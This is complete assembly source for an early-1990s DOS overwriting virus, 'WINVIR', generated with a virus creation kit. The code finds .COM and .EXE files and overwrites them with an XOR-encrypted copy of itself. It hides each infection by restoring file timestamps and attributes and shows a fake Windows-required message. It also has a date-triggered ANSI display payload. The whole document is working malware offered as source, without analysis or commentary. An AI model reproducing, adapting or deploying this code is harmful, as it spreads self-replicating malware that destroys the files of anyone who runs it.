; WINVIR.ASM -- Windows Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by BlenderHead

virus_type	equ	1			; Overwriting Virus
is_encrypted	equ	1			; We're encrypted
tsr_virus	equ	0			; We're not TSR

code		segment byte public
		assume	cs:code,ds:code,es:code,ss:code
		org	0100h

start		label	near

main		proc	near
flag:		xchg	cx,ax
		xchg	ch,ch
		xchg	cx,ax

		call	encrypt_decrypt		; Decrypt the virus

start_of_code	label	near

		call	search_files		; Find and infect a file

		mov	si,offset data00	; SI points to data
		mov	ah,0Eh			; BIOS display char. function
display_loop:   lodsb				; Load the next char. into AL
		or	al,al			; Is the character a null?
		je	disp_strnend		; If it is, exit
		int	010h			; BIOS video interrupt
		jmp	short display_loop	; Do the next character
disp_strnend:

		call	get_weekday
		cmp	ax,0002h		; Did the function return 2?
		jne	skip00			; If not equal, skip effect
		call	get_second
		cmp	ax,0016h		; Did the function return 22?
		jne	skip00			; If not equal, skip effect
		jmp	short strt00		; Success -- skip jump
skip00:		jmp	end00			; Skip the routine
strt00:		mov	si,offset data01	; SI points to data
		mov	cx,0173h		; Second argument is 371
		push	di                      ; Save DI
		push	es			; Save ES

		jcxz	uncrunch_done		; Exit if there are no characters

		mov	ah,0Fh          	; BIOS get screen mode function
		int	10h
		xor	ah,ah           	; BIOS set screen mode function
		int	10h             	; Clear the screen

		xor	di,di
		mov	ax,0B800h		; AX is set to video segment
		mov	es,ax			; ES holds video segment

		mov	dx,di			; Save X coordinate for later
		xor	ax,ax			; Set current attributes
		cld

loopa:		lodsb				; Get next character
		cmp	al,32			; Is it a control character?
		jb	foreground		; Handle it if it is
		stosw				; Save letter on screen
next:		loop	loopa			; Repeat until we're done
		jmp	short uncrunch_done	; Leave this routine

foreground:	cmp	al,16			; Are we changing the foreground?
		jnb	background		; If not, check the background
		and	ah,0F0h			; Strip off old foreground
		or	ah,al			; Put the new one on
		jmp	short next		; Resume looping

background:	cmp	al,24			; Are we changing the background?
		je	next_line		; If AL = 24, go to next line
		jnb	flash_bit_toggle	; If AL > 24 set the flash bit
		sub	al,16   		; Change AL to a color number
		add	al,al			; Crude way of shifting left
		add	al,al                   ; four bits without changing
		add	al,al                   ; CL or wasting space.  Ok,
		add	al,al                   ; I guess.
		and	al,08Fh			; Strip off old background
		or	ah,al			; Put the new one on
		jmp	short next		; Resume looping

next_line:	add	dx,160			; Skip a whole line (80 chars.
		mov	di,dx			; AND 80 attribs.)
		jmp	short next		; Resume looping

flash_bit_toggle: cmp	al,27			; Is it a blink toggle?
		jb	multi_output		; If AL < 27, it's a blinker
		jne	next			; Otherwise resume looping
		xor	ah,128			; Toggle the flash bit
		jmp	short next		; Resume looping

multi_output:   cmp	al,25			; Set Zero flag if multi-space
		mov	bx,cx			; Save main counter
		lodsb				; Get number of repititions
		mov	cl,al			; Put it in CL
		mov	al,' '			; AL holds a space
		jz	start_output		; If displaying spaces, jump
		lodsb				; Otherwise get character to use
		dec	bx			; Adjust main counter

start_output:	xor	ch,ch			; Clear CH
		inc	cx			; Add one to count
	rep	stosw				; Display the character
		mov	cx,bx			; Restore main counter
		dec	cx			; Adjust main counter
		loopnz	loopa			; Resume looping if not done

uncrunch_done:	pop	es			; Restore ES
		pop	di			; Restore DI

end00:		mov	ax,04C00h		; DOS terminate function
		int	021h
main		endp

search_files	proc	near
		mov	dx,offset com_mask	; DX points to "*.COM"
		call	find_files		; Try to infect a file
		jnc	done_searching		; If successful then exit
		mov	dx,offset exe_mask	; DX points to "*.EXE"
		call	find_files		; Try to infect a file
done_searching:	ret				; Return to caller

com_mask	db	"*.COM",0		; Mask for all .COM files
exe_mask	db	"*.EXE",0		; Mask for all .EXE files
search_files	endp

find_files	proc	near
		push	bp			; Save BP

		mov	ah,02Fh			; DOS get DTA function
		int	021h
		push	bx			; Save old DTA address

		mov	bp,sp			; BP points to local buffer
		sub	sp,128			; Allocate 128 bytes on stack

		push	dx			; Save file mask
		mov	ah,01Ah			; DOS set DTA function
		lea	dx,[bp - 128]		; DX points to buffer
		int	021h

		mov	ah,04Eh			; DOS find first file function
		mov	cx,00100111b		; CX holds all file attributes
		pop	dx			; Restore file mask
find_a_file:	int	021h
		jc	done_finding		; Exit if no files found
		call	infect_file		; Infect the file!
		jnc	done_finding		; Exit if no error
		mov	ah,04Fh			; DOS find next file function
		jmp	short find_a_file	; Try finding another file

done_finding:	mov	sp,bp			; Restore old stack frame
		mov	ah,01Ah			; DOS set DTA function
		pop	dx			; Retrieve old DTA address
		int	021h

		pop	bp			; Restore BP
		ret				; Return to caller
find_files	endp

infect_file	proc	near
		mov	ah,02Fh			; DOS get DTA address function
		int	021h
		mov	si,bx			; SI points to the DTA

		mov	byte ptr [set_carry],0	; Assume we'll fail

		cmp	word ptr [si + 01Ch],0	; Is the file > 65535 bytes?
		jne	infection_done		; If it is then exit

		cmp	word ptr [si + 025h],'DN'  ; Might this be COMMAND.COM?
		je	infection_done		; If it is then skip it

		cmp	word ptr [si + 01Ah],(finish - start)
		jb	infection_done		; If it's too small then exit

		mov	ax,03D00h		; DOS open file function, r/o
		lea	dx,[si + 01Eh]		; DX points to file name
		int	021h
		xchg	bx,ax			; BX holds file handle

		mov	ah,03Fh			; DOS read from file function
		mov	cx,4			; CX holds bytes to read (4)
		mov	dx,offset buffer	; DX points to buffer
		int	021h

		mov	ah,03Eh			; DOS close file function
		int	021h

		push	si			; Save DTA address before compare
		mov	si,offset buffer	; SI points to comparison buffer
		mov	di,offset flag		; DI points to virus flag
		mov	cx,4			; CX holds number of bytes (4)
	rep	cmpsb				; Compare the first four bytes
		pop	si			; Restore DTA address
		je	infection_done		; If equal then exit
		mov	byte ptr [set_carry],1	; Success -- the file is OK

		mov	ax,04301h		; DOS set file attrib. function
		xor	cx,cx			; Clear all attributes
		lea	dx,[si + 01Eh]		; DX points to victim's name
		int	021h

		mov	ax,03D02h		; DOS open file function, r/w
		int	021h
		xchg	bx,ax			; BX holds file handle

		push	si			; Save SI through call
		call	encrypt_code		; Write an encrypted copy
		pop	si			; Restore SI

		mov	ax,05701h		; DOS set file time function
		mov	cx,[si + 016h]		; CX holds old file time
		mov	dx,[si + 018h]		; DX holds old file date
		int	021h

		mov	ah,03Eh			; DOS close file function
		int	021h

		mov	ax,04301h		; DOS set file attrib. function
		xor	ch,ch			; Clear CH for file attribute
		mov	cl,[si + 015h]		; CX holds file's old attributes
		lea	dx,[si + 01Eh]		; DX points to victim's name
		int	021h

infection_done:	cmp	byte ptr [set_carry],1	; Set carry flag if failed
		ret				; Return to caller

buffer		db	4 dup (?)		; Buffer to hold test data
set_carry	db	?			; Set-carry-on-exit flag
infect_file	endp


get_second      proc	near
		mov	ah,02Ch			; DOS get time function
		int	021h
		mov	al,dh			; Copy second into AL
		cbw				; Sign-extend AL into AX
		ret				; Return to caller
get_second      endp

get_weekday     proc	near
		mov	ah,02Ah			; DOS get date function
		int	021h
		cbw				; Sign-extend AL into AX
		ret				; Return to caller
get_weekday     endp

data00		db	"This program requires Microsoft Windows."

data01		        DB      15,16,24,25,6,'ÜÛÛÜ',25,2,'ÜÛÛÜ  ÜÛÜ  ÜÛÛÜ',25,2,'ÜÛ'
		        DB      'ÛÜ',24,25,6,26,3,'Û',25,2,26,3,'Û ',26,4,'Û ',26,4,'Û'
		        DB      'Ü ',26,3,'Û',24,25,6,26,3,'Û',25,2,26,3,'Û ',26,4,'Û'
		        DB      ' ',26,10,'Û ÜÜ',26,3,'ÛÜÜ',24,25,6,26,3,'ÛÜÛÜ',26,3,'Û'
		        DB      ' ',26,4,'Û ',26,3,'Ûß',26,5,'Û ßß',26,3,'Ûßß',24,25,6
		        DB      26,10,'Û ',26,4,'Û ',26,3,'Û  ß',26,3,'Û',24,25,7,'ß'
		        DB      'ÛÛß ßÛÛß',25,2,'ßÛß  ßÛÛß',25,2,'ßÛÛß',24,24,'  Ü',26
		        DB      7,'ÛÜ',25,2,'Ü',26,6,'ÛÜ  Ü',26,8,'ÛÜ Ü',26,8,'ÛÜ',24
		        DB      '  ',26,3,'Û',25,2,'ßÛÛÛ ',26,3,'Ûßßß',26,3,'Û ',26,4
		        DB      'ß',26,4,'Ûß ',26,3,'Û',25,3,'ßßß',24,'  ',26,3,'Û',25
		        DB      3,'ÛÛÛ ÛÛÛ',25,4,'ÛÛÛ',25,3,'Ü',26,3,'Ûß',25,2,26,3,'Û'
		        DB      26,4,'Ü',24,'  ',26,3,'Û',25,3,'ÛÛÛ ÛÛÛ',25,4,'ÛÛÛ  '
		        DB      'Ü',26,3,'Ûß',25,4,26,3,'Û',26,4,'ß',24,'  ',26,3,'Û'
		        DB      'ÜÜÜÛÛÛß ',26,3,'ÛÜÜÜ',26,3,'Û ',26,4,'Û',26,5,'Ü ',26
		        DB      3,'Û',25,3,'ÜÜÜ',24,'  ß',26,6,'Ûß',25,3,'ß',26,6,'Û'
		        DB      'ß  ß',26,8,'Ûß ß',26,8,'Ûß',24,24

vcl_marker	db	"[VCL]",0		; VCL creation marker


note		db	"BlenderHead '93"

encrypt_code	proc	near
		mov	si,offset encrypt_decrypt; SI points to cipher routine

		xor	ah,ah			; BIOS get time function
		int	01Ah
		mov	word ptr [si + 8],dx	; Low word of timer is new key

		xor	byte ptr [si],1		;
		xor	byte ptr [si + 7],1	; Change all SIs to DIs
		xor	word ptr [si + 10],0101h; (and vice-versa)

		mov	di,offset finish	; Copy routine into heap
		mov	cx,finish - encrypt_decrypt - 1  ; All but final RET
		push	si			; Save SI for later
		push	cx			; Save CX for later
	rep	movsb				; Copy the bytes

		mov	si,offset write_stuff	; SI points to write stuff
		mov	cx,5			; CX holds length of write
	rep	movsb				; Copy the bytes

		pop	cx			; Restore CX
		pop	si			; Restore SI
		inc	cx			; Copy the RET also this time
	rep	movsb				; Copy the routine again

		mov	ah,040h			; DOS write to file function
		mov	dx,offset start		; DX points to virus

		call	finish			; Encrypt/write/decrypt

		ret				; Return to caller

write_stuff:	mov	cx,finish - start	; Length of code
		int	021h
encrypt_code	endp

end_of_code	label	near

encrypt_decrypt	proc	near
		mov	si,offset start_of_code ; SI points to code to decrypt
		mov	cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop:	db	081h,034h,00h,00h	; XOR a word by the key
		inc	si			; Do the next word
		inc	si			;
		loop	xor_loop		; Loop until we're through
		ret				; Return to caller
encrypt_decrypt	endp
finish		label	near

code		ends
		end	main